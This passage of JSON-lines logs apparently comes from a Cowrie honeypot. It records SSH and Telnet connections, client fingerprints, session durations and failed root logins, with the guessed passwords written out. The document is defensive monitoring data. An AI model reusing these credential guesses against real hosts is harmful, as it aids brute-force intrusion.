16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:39.870339Z","src_ip":"38.242.143.220","session":"835540138568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"T0sh1#Tr0ng!P@ss","message":"login attempt [root/T0sh1#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:40.281620Z","src_ip":"38.242.143.220","session":"835540138568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:41.373945Z","src_ip":"38.242.143.220","session":"835540138568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.78270864486694,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:43.418422Z","src_ip":"170.64.224.25","session":"8a8e81ab7e8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.528055906295776,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:49.396049Z","src_ip":"137.184.5.188","session":"0b18a864515a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":46412,"dst_ip":"10.17.0.5","dst_port":22,"session":"81feb84e34ef","protocol":"ssh","message":"New connection: 89.223.69.22:46412 (10.17.0.5:22) [session: 81feb84e34ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:51.014724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:51.019562Z","src_ip":"89.223.69.22","session":"81feb84e34ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:51.128861Z","src_ip":"89.223.69.22","session":"81feb84e34ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01012005","message":"login attempt [root/01012005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:51.458048Z","src_ip":"89.223.69.22","session":"81feb84e34ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:53:52.569574Z","src_ip":"89.223.69.22","session":"81feb84e34ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.83","src_port":13585,"dst_ip":"159.203.135.109","dst_port":22,"session":"6da0c8f2bc8f","protocol":"ssh","message":"New connection: 64.62.197.83:13585 (159.203.135.109:22) [session: 6da0c8f2bc8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:10.373988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:10.409459Z","src_ip":"64.62.197.83","session":"6da0c8f2bc8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:10.487518Z","src_ip":"64.62.197.83","session":"6da0c8f2bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:14.410032Z","src_ip":"64.62.197.83","session":"6da0c8f2bc8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.90.155.178","src_port":38466,"dst_ip":"10.17.0.5","dst_port":22,"session":"1248b257a98d","protocol":"ssh","message":"New connection: 210.90.155.178:38466 (10.17.0.5:22) [session: 1248b257a98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:15.416477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:15.421122Z","src_ip":"210.90.155.178","session":"1248b257a98d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:15.625953Z","src_ip":"210.90.155.178","session":"1248b257a98d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"operator","message":"login attempt [root/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:16.479010Z","src_ip":"210.90.155.178","session":"1248b257a98d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37526,"dst_ip":"10.17.0.5","dst_port":22,"session":"41c0846f2a97","protocol":"ssh","message":"New connection: 91.92.40.4:37526 (10.17.0.5:22) [session: 41c0846f2a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:16.663998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:16.668332Z","src_ip":"91.92.40.4","session":"41c0846f2a97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:16.754474Z","src_ip":"91.92.40.4","session":"41c0846f2a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:17.008223Z","src_ip":"91.92.40.4","session":"41c0846f2a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:17.686266Z","src_ip":"210.90.155.178","session":"1248b257a98d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:18.239371Z","src_ip":"91.92.40.4","session":"41c0846f2a97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":38786,"dst_ip":"10.17.0.5","dst_port":22,"session":"17dea501e92b","protocol":"ssh","message":"New connection: 101.32.145.199:38786 (10.17.0.5:22) [session: 17dea501e92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:23.206975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:23.210680Z","src_ip":"101.32.145.199","session":"17dea501e92b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:23.450603Z","src_ip":"101.32.145.199","session":"17dea501e92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52296,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d9b570c2d52","protocol":"telnet","message":"New connection: 170.64.224.25:52296 (159.203.135.109:23) [session: 4d9b570c2d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:24.346945Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cloud12#$","message":"login attempt [root/Cloud12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:24.442039Z","src_ip":"101.32.145.199","session":"17dea501e92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:25.688263Z","src_ip":"101.32.145.199","session":"17dea501e92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":27092,"dst_ip":"159.203.135.109","dst_port":22,"session":"61e7c486e0ba","protocol":"ssh","message":"New connection: 203.121.40.210:27092 (159.203.135.109:22) [session: 61e7c486e0ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:26.953166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:26.957070Z","src_ip":"203.121.40.210","session":"61e7c486e0ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:27.289446Z","src_ip":"203.121.40.210","session":"61e7c486e0ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"1qaz!QAZ","message":"login attempt [ali/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:28.825438Z","src_ip":"203.121.40.210","session":"61e7c486e0ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:30.066348Z","src_ip":"203.121.40.210","session":"61e7c486e0ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":48440,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c36992435e9","protocol":"telnet","message":"New connection: 107.150.146.69:48440 (10.17.0.5:23) [session: 3c36992435e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:53.150335Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55168,"dst_ip":"159.203.135.109","dst_port":23,"session":"d473c4711806","protocol":"telnet","message":"New connection: 170.64.224.25:55168 (159.203.135.109:23) [session: d473c4711806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:54.456664Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":41106,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2479cb3c9e","protocol":"ssh","message":"New connection: 94.138.209.214:41106 (159.203.135.109:22) [session: 8b2479cb3c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:54.894389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:54.898534Z","src_ip":"94.138.209.214","session":"8b2479cb3c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:55.037984Z","src_ip":"94.138.209.214","session":"8b2479cb3c9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"So123456","message":"login attempt [root/So123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:55.629696Z","src_ip":"94.138.209.214","session":"8b2479cb3c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:56.772127Z","src_ip":"94.138.209.214","session":"8b2479cb3c9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.732873916625977,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:59.189426Z","src_ip":"170.64.224.25","session":"d473c4711806","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43290,"dst_ip":"159.203.135.109","dst_port":23,"session":"9745d193aa5a","protocol":"telnet","message":"New connection: 170.64.224.25:43290 (159.203.135.109:23) [session: 9745d193aa5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:59.616354Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":50704,"dst_ip":"10.17.0.5","dst_port":22,"session":"a55bbef38405","protocol":"ssh","message":"New connection: 143.20.185.207:50704 (10.17.0.5:22) [session: a55bbef38405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:59.776903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:59.780753Z","src_ip":"143.20.185.207","session":"a55bbef38405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56666,"dst_ip":"159.203.135.109","dst_port":22,"session":"f38b0703d5d4","protocol":"ssh","message":"New connection: 147.45.211.215:56666 (159.203.135.109:22) [session: f38b0703d5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:59.874288Z"}
